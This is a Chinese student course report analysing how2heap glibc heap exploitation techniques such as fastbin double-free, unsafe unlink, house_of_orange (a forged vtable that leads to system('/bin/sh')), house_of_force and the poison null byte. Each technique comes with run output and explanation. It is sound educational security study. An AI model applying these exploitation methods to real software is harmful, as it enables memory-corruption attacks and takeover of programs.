

软件安全与漏洞分析 大作业

LIU Jin	YANG Chao	LI Yiding	WANG Xu
15180110082	15180110110	15180120028	15130120190
liujin.xdu@pm.me	firmianay@gmail.com	drimtuer@gmail.com	codeklaus@gmail.com

June 18, 2018

目录

1 开始	4
2 how2heap 分析	5
2.1 first_fit	5
2.2 fastbin_dup	6
2.3 fastbin_dup_into_stack	6
2.4 unsafe_unlink	7
2.5 unsorted_bin_attack	10
2.6 house_of_spirit	10
2.7 house_of_orange	11
2.8 house_of_lore	16
2.9 house_of_einherjar	17
2.10 house_of_force	18
2.11 poison_null_byte	19
2.12 overlapping_chunks	20
2.13 overlapping_chunks_2	21
3 ptmalloc 分析	22
3.1 unsafe_unlink	22
3.2 house_of_spirit	24
3.3 house_of_lore	25
3.4 house_of_einherjar	28
3.5 house_of_orange	28
3.6 house_of_force	32
3.7 poison_null_byte	33
3.8 unsorted_bin_attack	35
3.9 unsorted_bin_into_stack	38
3.10 fastbin_dup	39
3.11 fastbin_dup_into_stack	40
3.12 overlapping_chunks	42
3.13 overlapping_chunks_2	42
4 jemalloc 分析	43
4.1 jemalloc 简介	43
4.2 unsafe_unlink	44
4.3 house_of_spirit	44
4.4 house_of_lore	45
4.5 house_of_einherjar	47
4.6 house_of_orange	48

4.7	house_of_force	48
4.8	poison_null_byte	49
4.9	unsorted_bin_attack	49
4.10	unsorted_bin_into_stack	50
4.11	fastbin_dup	50
4.12	fastbin_dup_into_stack	53
4.13	overlapping_chunks	54
4.14	overlapping_chunks_2	56
5	总结	58
5.1	jemalloc 的安装	58
5.2	在 Ubuntu 16.04 下使用高版本 Glibc	58
5.3	一些思考	59

1 开始

L^AT_EX 真好用。

首先，我们在 glibc 版本是 2.23 的 Ubuntu 系统上编译了 `how2heap` 中的案例，分析了 `how2heap` 中的堆利用手段，然后分别在 Glibc-2.27 版本和 jemalloc-5.0.1 版本中分析了上述攻击手段成功或失败的原因，最后谈了谈一下在写大作业中的坑和一些感受。

从最先开始写，到完成，jemalloc 更新了 5.1.0 版本，`how2heap` 也有过一些更新，因此我以开始写作业时候的版本完成。

这部分内容前前后后写了一个多月，于是就老老实实当了一个多月的 ptmalloc 拳击手，嚶嚶嚶。

2 how2heap 分析

堆是程序虚拟地址空间中的一块连续的区域，与栈不同，由低地址向高地址增长，且由操作系统进行维护。编译 how2heap 的机器libc 版本如下：

```
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1
↳ (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
↳ BuildID[sha1]=b5381a457906d279073822a5ceb24c4bfef94ddb, for GNU/Linux 2.6.32, stripped
```

2.1 first_fit

运行之，结果如下：

```
$ how2heap git:(master) ./first_fit
```

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.

glibc uses a first-fit algorithm to select a free chunk.

If a chunk is free and large enough, malloc will select this chunk.

This can be exploited in a use-after-free situation.

Allocating 2 buffers. They can be large, don't have to be fastbin.

1st malloc(512): 0x1768010

2nd malloc(256): 0x1768220

we could continue mallocing here...

now let's put a string at a that we can read later "this is A!"

first allocation 0x1768010 points to this is A!

Freeing the first one...

We don't need to free anything again. As long as we allocate less than 512, it will end up

↳ at 0x1768010

So, let's allocate 500 bytes

3rd malloc(500): 0x1768010

And put a different string here, "this is C!"

3rd allocation 0x1768010 points to this is C!

first allocation 0x1768010 points to this is C!

这里，第一个程序展示了 glibc 堆分配的策略，即 first-fit。在分配内存时，malloc 会先到 unsorted bin（或者 fastbins）中查找适合的被 free 的 chunk，如果没有，就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中，然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同，即 malloc 找到了第一次 free 掉的 chunk，并把它重新分配。

2.2 fastbin_dup

运行得到结果：

```
$ how2heap git:(master) ./fastbin_dup
```

```
This file demonstrates a simple double-free attack with fastbins.
```

```
Allocating 3 buffers.
```

```
1st malloc(8): 0xb3b010
```

```
2nd malloc(8): 0xb3b030
```

```
3rd malloc(8): 0xb3b050
```

```
Freeing the first one...
```

```
If we free 0xb3b010 again, things will crash because 0xb3b010 is at the top of the free  
↪ list.
```

```
So, instead, we'll free 0xb3b030.
```

```
Now, we can free 0xb3b010 again, since it's not the head of the free list.
```

```
Now the free list has [ 0xb3b010, 0xb3b030, 0xb3b010 ]. If we malloc 3 times, we'll get  
↪ 0xb3b010 twice!
```

```
1st malloc(8): 0xb3b010
```

```
2nd malloc(8): 0xb3b030
```

```
3rd malloc(8): 0xb3b010
```

这个程序展示了利用 fastbins 的 double-free 攻击，可以泄漏出一块已经被分配的内存指针 fastbins 可以看成是一个后进先出的栈，使用单链表实现，通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查，我们不能连续两次 free 同一个 chunk，所以这里在两次 free 之间，增加了一次对其他 chunk 的 free 过程，从而绕过检查顺利执行。然后再 malloc 三次，就在同一个地址 malloc 了两次，也就有了两个指向同一块内存区域的指针。

2.3 fastbin_dup_into_stack

首先，我们在 malloc.c 中可以找到 malloc_chunk 的定义如下：

```
struct malloc_chunk {  
  
    INTERNAL_SIZE_T    prev_size; /* Size of previous chunk (if free). */  
    INTERNAL_SIZE_T    size;      /* Size in bytes, including overhead. */  
  
    struct malloc_chunk* fd;       /* double links -- used only if free. */  
    struct malloc_chunk* bk;  
  
};
```

上面这个程序展示了怎样通过修改 `fd` 指针，将其指向一个伪造的 `free chunk`，在伪造的地址处 `malloc` 出一个 `chunk`。该程序大部分内容都和上一个程序一样，漏洞也同样是 `double-free`，只有给 `fd` 填充的内容不一样。

2.4 unsafe__unlink

上面这个程序展示了怎样利用 `free` 改写全局指针 `chunk0_ptr` 达到任意内存写的目的，即 `unsafe unlink`。我们可以 Google 搜索到 `unlink` 函数的具体实现：

```
#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}
```

但是这个 `unlink` 的实现属于旧版本的 `glibc`，我们编译机器上的 `glibc` 中的 `unlink` 的实现如下，增加了一些对 `unsafe unlink` 的检查，也是我们需要绕过的检查：

```
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if ( __builtin_expect (FD->bk != P || BK->fd != P, 0) ) malloc_printerr(check_action,
    ↪ "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if ( __builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
            || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0) )
                malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
            if (FD->fd_nextsize == NULL) {
                FD->fd_nextsize = FD->bk_nextsize = FD;
            }
            else {
                FD->fd_nextsize = P->fd_nextsize;
                FD->bk_nextsize = P->bk_nextsize;
                P->fd_nextsize->bk_nextsize = FD;
                P->bk_nextsize->fd_nextsize = FD;
            }
        }
    }
}
```

```
        } else {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
        }
    }
}
```

编译并运行:

```
$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: BBBBBBBBBB
```

上述代码中, 使用 `int malloc_size = 0x80;` 的目的在于不使用操作系统分配的 `fastbins`, 而去申请使用 `small bins`, 然后, 我们使 `header_size` 的大小为 2。接着, 我们申请两块空间, 全局指针 `chunk0_ptr` 指向堆块 `chunk0`, 局部指针 `chunk1_ptr` 指向 `chunk1`。

如果我们想要绕过 `(P->fd->bk != P || P->bk->fd != P) == False;` 的检查, 但是这个检查有个缺陷, 就是 `fd/bk` 指针都是通过与 `chunk` 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造一个 `fake chunk` 来绕过它。

我们在 `chunk0` 里构造一个 `fake chunk`, 用 `P` 表示, 两个指针 `fd` 和 `bk` 可以构成两条链: `P->fd->bk == P, P->bk->fd == P;`, 可以绕过检查。另外利用 `chunk0` 的溢出漏洞, 通过修改 `chunk1` 的 `prev_size` 为 `fake chunk` 的大小, 修改 `PREV_INUSE` 标志位为 0, 将 `fake chunk` 伪造成一个 `free chunk`。

接下来就是释放掉 `chunk1`, 这会触发 `fake chunk` 的 `unlink` 并覆盖 `chunk0_ptr` 的值。

由于 `unlink` 的操作是:

```
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
```

由于这时候 `P->fd->bk` 和 `P->bk->fd` 都指向 `P`, 所以最后的结果为:

```
chunk0_ptr = P = P->fd;
```

因此我们利用 `ublink` 成功的修改了 `chunk0_ptr`, 即这时 `chunk0_ptr[0]` 和 `chunk0_ptr[3]` 实际上就是同一东西。所以我们修改 `chunk0_ptr[3]` 实际上就是在修改 `chunk0_ptr[0]`。

```
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %s\n", victim_string);
```

此时, `chunk0_ptr` 指向了 `victim_string`, 因此, 我们修改 `chunk0_ptr[3]`, 就可以修改 `victim_string`。通过上述演示, 我们成功的利用 `unsafe_unlink` 做到了修改任意地址, 但是上述演示仅在老版本的 `glibc` (版本小于等于 2.26) 中可以演示成功, 因为新版本的 `glibc` 中添加了对单字节溢出问题的检查:

```
chunk_size == next-> prev-> chunk_size;
```

, 以及新增加的 `tcache` 机制:

```
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS          64
# define MAX_TCACHE_SIZE          tid2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tid2usize(idx)            (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize(). */
# define csize2tid(x)              (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tid(x)              csize2tid (request2size (x))

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc. */

/* This is another arbitrary limit, which tunables can change. Each
```

```

    tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif

```

有关 tcache 机制的 commit 可以在这里¹中查看更多。

tcache 机制是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，chunk0_ptr 仍然指向正确的堆地址，而不是 chunk0_ptr = P = P->fd;。对于如何在代码中绕过 tcache 机制，仍然有很多可行的办法，其中一种是，我们可以在源程序的代码中添加一些代码，给填充进特定大小的 chunk 把 bin 占满，然后就能绕过 tcache 机制，在高版本 glibc 中实现和老版本相同的效果。

2.5 unsorted_bin_attack

编译运行之，得到结果：

```

$ gcc -g unsorted_bin_attack.c
$ ./a.out

```

The target we want to rewrite on **stack**: 0x7ffc9b1d61b0 -> 0

Now, we allocate first small chunk on the heap **at**: 0x1066010

We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78

We write it with the target address-0x10: 0x7ffc9b1d61a0

Let's malloc again to get the chunk we just **free**: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78

unsorted_bin_attack 通常情况下是为了更进一步的利用所做的铺垫，我们已经知道 unsorted bin 是一个双向链表，在分配时会通过 unlink 操作将 chunk 从链表中移除，所以如果能够控制 unsorted bin chunk 的 bk 指针，就可以向任意位置写入一个指针。

这里通过 unlink 将 libc 的信息写入到我们可控的内存中，从而导致信息泄漏，为进一步的攻击提供便利，如泄露了 libc 的某些函数的地址，如果我们通过其他方式获取到了 libc 的版本信息，就可以通过偏移算出其他函数的地址，可以绕过 ASLR 的保护。

2.6 house_of_spirit

编译运行之，结果如下：

```

$ gcc -g house_of_spirit.c
$ ./a.out

```

We will overwrite a pointer to point to a fake '**fastbin**' region. This region contains two
↪ chunks.

¹<https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc>

The first one: 0x7ffc782dae00

The second one: 0x7ffc782dae20

Overwriting our pointer with the address of the fake region inside the fake first chunk,
 ↪ 0x7ffc782dae00.

Freeing the overwritten pointer.

Now the next malloc will **return** the region of our fake chunk at 0x7ffc782dae00, which will
 ↪ be 0x7ffc782dae10!

malloc(0x10): 0x7ffc782dae10

house-of-spirit 是一种对 fastbins 的攻击方法, 即通过构造 fake chunk, 然后将其 free 掉, 就可以在下次 malloc 时返回 fake chunk 的地址, 即一段我们可控的区域。其中, 使用 house-of-spirit 技术的条件一是要使 free 的参数可控, 以便指向我们想要控制的地址, 其二是想要控制的地址我们应有写权限, 以便提前伪造 fake chunk。另外, 这种攻击手段既可以利用堆溢出搞事情, 也可以利用栈溢出搞事情。

具体的使用流程是, 先在想要控制的地址上连续伪造 chunk, 由于堆的检查机制, 我们需要连续伪造两个 chunk, 比如利用如下 Python 代码²:

```
132(0x0)+132(41)+'AAAA'*8 +132(0x0)+132(41)
```

然后, 我们控制 free 的参数, 指向我们伪造的 chunk 地址, 如果我们此时再次 free, 就可以控制之前伪造 chunk 的内存了。

2.7 house_of_orange

编译运行之, 得到:

```
$ gcc house_of_orange -o house_of_orange
$ ./house_of_orange
*** Error in `./house_of_orange': malloc(): memory corruption: 0x00007f82acdf5520 ***
===== Backtrace: =====
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f82acaa77e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f82acab213e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f82acab4184]
./house_of_orange[0x4006cc]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f82aca50830]
./house_of_orange[0x400509]
===== Memory map: =====
00400000-00401000 r-xp 00000000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
00600000-00601000 r--p 00000000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
```

²Python 代码中的函数为 Python 的漏洞利用框架 pwntools 中的函数, 可访问官网: <https://github.com/Gallopsled/pwntools>

```

00601000-00602000 rw-p 00001000 00:00 39375
↪ /mnt/c/Users/SKYE/Desktop/how2heap/house_of_orange
01c98000-01cdb000 rw-p 00000000 00:00 0 [heap]
7f82a8000000-7f82a8021000 rw-p 00000000 00:00 0
7f82a8021000-7f82ac000000 ---p 00000000 00:00 0
7f82ac810000-7f82ac826000 r-xp 00000000 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f82ac826000-7f82aca25000 ---p 00000016 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f82aca25000-7f82aca26000 rw-p 00015000 00:00 208780 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f82aca30000-7f82acbf0000 r-xp 00000000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acbf0000-7f82acbf9000 ---p 001c0000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acbf9000-7f82acdf0000 ---p 000001c9 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf0000-7f82acdf4000 r--p 001c0000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf4000-7f82acdf6000 rw-p 001c4000 00:00 85962 /lib/x86_64-linux-gnu/libc-2.23.so
7f82acdf6000-7f82acdffa000 rw-p 00000000 00:00 0
7f82ace00000-7f82ace25000 r-xp 00000000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ace25000-7f82ace26000 r-xp 00025000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad025000-7f82ad026000 r--p 00025000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad026000-7f82ad027000 rw-p 00026000 00:00 85960 /lib/x86_64-linux-gnu/ld-2.23.so
7f82ad027000-7f82ad028000 rw-p 00000000 00:00 0
7f82ad200000-7f82ad201000 rw-p 00000000 00:00 0
7f82ad210000-7f82ad211000 rw-p 00000000 00:00 0
7f82ad220000-7f82ad221000 rw-p 00000000 00:00 0
7f82ad230000-7f82ad231000 rw-p 00000000 00:00 0
7ffffee362000-7ffffeeb62000 rw-p 00000000 00:00 0 [stack]
7ffffef2a7000-7ffffef2a8000 r-xp 00000000 00:00 0 [vdso]
$ whoami
skye
$ exit
[1] 69 abort (core dumped) ./house_of_orange

```

house_of_oranges 是一种堆溢出修改 `_IO_list_all` 指针的利用方法。我们可以利用这个方法来泄露堆信息和 `libc` 的相关信息。我们已经知道，但程序还未申请内存时，整个堆块都属于 `top chunk`，每次申请内存时，操作系统就从 `top chunk` 中划出请求大小的堆块返回给用户，于是 `top chunk` 就会越来越小。

这时候，如果我们再次申请内存，但是 `top chunk` 的剩余大小已经不能满足请求，此时操作系统调用 `sysmalloc()` 函数分配新的堆空间，这时候有两种选择，一种是直接扩充 `top chunk`，另一种是调用 `mmap()` 分配一块新的 `top chunk`。

当某一次 `top chunk` 的剩余大小已经不能够满足请求时，就会调用函数 `sysmalloc()` 分配新内存，这时可能会发生两种情况，一种是直接扩充 `top chunk`，另一种是调用 `mmap` 分配一块新的 `top chunk`。具体调用哪一种方法是由申请大小决定的，为了能够使用前一种扩展 `top chunk`，需要请求小于阈值 `mp_.mmap_threshold`：

```

if (av == NULL
    || ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold))

```

```
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
```

同时, 为了能够调用 `sysmalloc()` 中的 `_int_free()`, 需要 `top chunk` 大于 `MINSIZE`, 即 `0x10`:

```
if (old_size >= MINSIZE)
{
    _int_free(av, old_top, 1);
}
```

除此以外, 还需要绕过 `old_size` 小于 `nb + MINSIZE`, `PREV_INUSE` 标志位为 1, `old_top + old_size` 页对齐这几个条件:

```
/*
    If not the first time through, we require old_size to be
    at least MINSIZE and to have prev_inuse set.
*/

assert((old_top == initial_top(av) && old_size == 0) ||
        ((unsigned long)(old_size) >= MINSIZE &&
         prev_inuse(old_top) &&
         ((unsigned long)old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
```

首先分配一个大小为 `0x400` 的 `chunk`, 默认情况下, `top chunk` 大小为 `0x21000`, 减去 `0x400`, 所以此时的大小为 `0x20c00`, 另外 `PREV_INUSE` 被设置。现在假设存在溢出漏洞, 可以修改 `top chunk` 的数据, 于是我们将 `size` 字段修改为 `0xc01`。这样就可以满足上面所说的条件。

紧接着, 申请一块大内存, 此时由于修改后的 `top chunk size` 不能满足需求, 则调用 `sysmalloc` 的第一种方法扩充 `top chunk`, 结果是在 `old_top` 后面新建了一个 `top chunk` 用来存放 `new_top`, 然后将 `old_top` 释放, 即被添加到了 `unsorted_bin` 中。

于是就泄漏出了 `libc` 地址。另外可以看到 `old top chunk` 被缩小了 `0x20`, 缩小的空间被用于放置 `fencepost chunk`。此时的堆空间应该是这样的:

```
+-----+
|      p1      |
+-----+
| old top-0x20 |
+-----+
```

```

| fencepost 1 |
+-----+
| fencepost 2 |
+-----+
|      ...      |
+-----+
|      p2      |
+-----+
|    new top    |
+-----+

```

根据放入 `unsorted_bin` 中 `old top chunk` 的 `fd/bk` 指针, 可以推算出 `_IO_list_all` 的地址。然后通过溢出将 `old top` 的 `bk` 改写为 `_IO_list_all-0x10`, 这样在进行 `unsorted bin attack` 时, 就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`。

`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象, 我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针, 它的 `_IO_OVERFLOW` 指向 `system`, 并且前 8 字节被设置为 `'/bin/sh'`, 所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用:

```

// libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

// libio/libio.h
struct _IO_FILE
{
    int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

    /* The following pointers correspond to the C++ streambuf protocol. */
    /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    char *_IO_read_ptr; /* Current read pointer */

```

```

char *_IO_read_end;    /* End of get area. */
char *_IO_read_base;  /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr;  /* Current put pointer. */
char *_IO_write_end;  /* End of put area. */
char *_IO_buf_base;   /* Start of reserve area. */
char *_IO_buf_end;    /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base;  /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end;    /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#ifdef 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    /* char* _save_gptr; char* _save_egptr; */

    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

```

其中有一个指向函数跳转表的指针，`_IO_jump_t` 的结构如下：

```
// libio/libioP.h
```

```
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#ifdef 0
    get_column;
    set_column;
#endif
};
```

house_of_orange 伪造 _IO_jump_t 中的 __overflow 为 system() 函数的地址,从而达到执行 shell 的目的。

2.8 house_of_lore

编译,运行得到结果:

```
$ gcc -g house_of_lore.c
$ ./a.out
```

Allocated the victim (small) chunk: 0x1b2e010


```
stack_buffer_1: 0x7ffe5c570350
```

```
stack_buffer_2: 0x7ffe5c570330
```

Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin

```
victim->fd: 0x7f239d4c9b78
```

```
victim->bk: 0x7f239d4c9b78
```

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0

The victim chunk 0x1b2e010 will be inserted in front of the SmallBin

```
victim->fd: 0x7f239d4c9bf8
```

```
victim->bk: 0x7f239d4c9bf8
```

Now emulating a vulnerability that can overwrite the victim->bk pointer

This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360

The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8

Nice jump d00d

the_house_of_lore 的原理是通过破坏已经放入 small bins 中的 bk 指针来达到取得任意地址的目的。当程序申请的内存大小符合 small bins, 则堆管理器在对应的 bin 中寻找是否有大小符合且空闲的块, 如果有, 那么进行 unlink 操作, 将内存交给程序。

那么, 当一个块存在于 Small Bin 的第一个块时, 通过溢出修改其 bk 指针指向某个地址 ptr, 当下一次进行 malloc 对应大小的块时, 就有 bck = victim->bk = ptr, 且 bin->bk = bck = ptr, 这样以来就成功地将这个 bin 的第一块指向了 ptr, 下次再 malloc 对应大小就能够返回 ptr+16 的位置, 这样攻击者再对取回的块进行写入就能控制 ptr+16 的内存内容。

2.9 house_of_einherjar

编译, 运行得到结果:

```
$ gcc -g house_of_einherjar.c
```

```
$ ./a.out
```

```
We allocate 0x10 bytes for 'a': 0xb31010
```

Our fake chunk at 0x7ffdb337b7f0 looks like:

```
prev_size: 0x80
```

```
size: 0x80
```

```
fwd: 0x7ffdb337b7f0
```

```
bck: 0x7ffdb337b7f0
```

```
fwd_nextsize: 0x7ffdb337b7f0
```

```
bck_nextsize: 0x7ffdb337b7f0
```

```
We allocate 0xf8 bytes for 'b': 0xb31030
```

```
b.size: 0x101
```

```
We overflow 'a' with a single null byte into the metadata of 'b'
```

```
b.size: 0x100
```

```
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake
↪ chunk
```

```
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
```

```
Modify fake chunk's size to reflect b's new prev_size
```

```
Now we free b and this will consolidate with our fake chunk
```

```
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
```

```
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
```

house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志，然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时，它会发现前一个 chunk 被标记为空闲状态，然后尝试合并堆块。只要我们精心构造一个 fake chunk，并让合并后的堆块范围到 fake chunk 处，那下一次 malloc 将返回我们想要的地址。

2.10 house_of_force

编译，运行，得到结果：

```
$ gcc -g house_of_force.c
```

```
$ ./a.out
```

```
We will overwrite a variable at 0x601080
```

```
Let's allocate the first chunk of 0x10 bytes: 0x824010.
```

```
Real size of our allocated chunk is 0x18.
```

```
Overwriting the top chunk size with a big value so the malloc will never call mmap.
```

```
Old size of top chunk: 0x20fe1
```

```
New size of top chunk: 0xffffffffffffffff
```

```
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting
```

```
↪ for the header size, we will malloc 0xffffffffffffdd048 bytes.
```

As expected, the new pointer is at the same place as the old top chunk: 0x824030
 malloc(0x30) => 0x601080!

Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the
 ↪ value.

old string: This is a string that we want to overwrite.

new string: YEAH!!!

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗堆分配器的返回任意地址的技术。我们知道在空闲内存的最高处，必然存在一块空闲的 chunk，即 top chunk，当 bins 和 fast bins 都不能满足分配需要的时候，malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。

这种攻击假设有一个溢出漏洞，可以改写 top chunk 的头部，然后将其改为一个非常大的值，以确保所有的 malloc 将使用 top chunk 分配，而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目（负有符号整数），top chunk 的位置加上这个大数，造成整数溢出，结果是 top chunk 能够被转移到堆之前的内存地址（如程序的.bss 段、.data 段、GOT 表等），下次再执行 malloc 时，攻击者就能够控制转移之后地址处的内存。

2.11 poison_null_byte

编译，并运行得到结果：

```
$ gcc -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xab010
'real' size of 'a': 0x18
b: 0xab030
c: 0xab140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0xab030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0xab0c0
```

Now we free `'b1'` and `'c'`, this will consolidate the chunks `'b1'` and `'c'` (forgetting about `'b2'`).

Finally, we allocate `'d'`, overlapping `'b2'`: 0xab030

b2 content:AA

New b2 content:BBAAAAAAAAAAAAAAAAAAAAAAAAAAAA

此技术的利用条件是某个由malloc 分配的内存区域存在单字节溢出，通过溢出下一个chunk 的size 字段，攻击者能够在堆中创造出重叠的内存块，从而达到改写其他数据的目的。再结合其他的利用方式，同样能够获得程序的控制权。

2.12 overlapping_chunks

编译，运行得到结果：

```
$ gcc -g overlapping_chunks.c
```

```
$ ./a.out
```

```
Now we allocate 3 chunks on the heap
```

```
p1=0x1e2b010
```

```
p2=0x1e2b0a0
```

```
p3=0x1e2b130
```

```
Freeing the chunk p2
```

```
Emulating an overflow that can overwrite the size of the chunk p2.
```

```
p4: 0x1e2b0a0 ~ 0x1e2b8e0
```

```
p3: 0x1e2b130 ~ 0x1e2b530
```

```
If we memset(p4, 'B', 0xd0), we have:
```

```
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
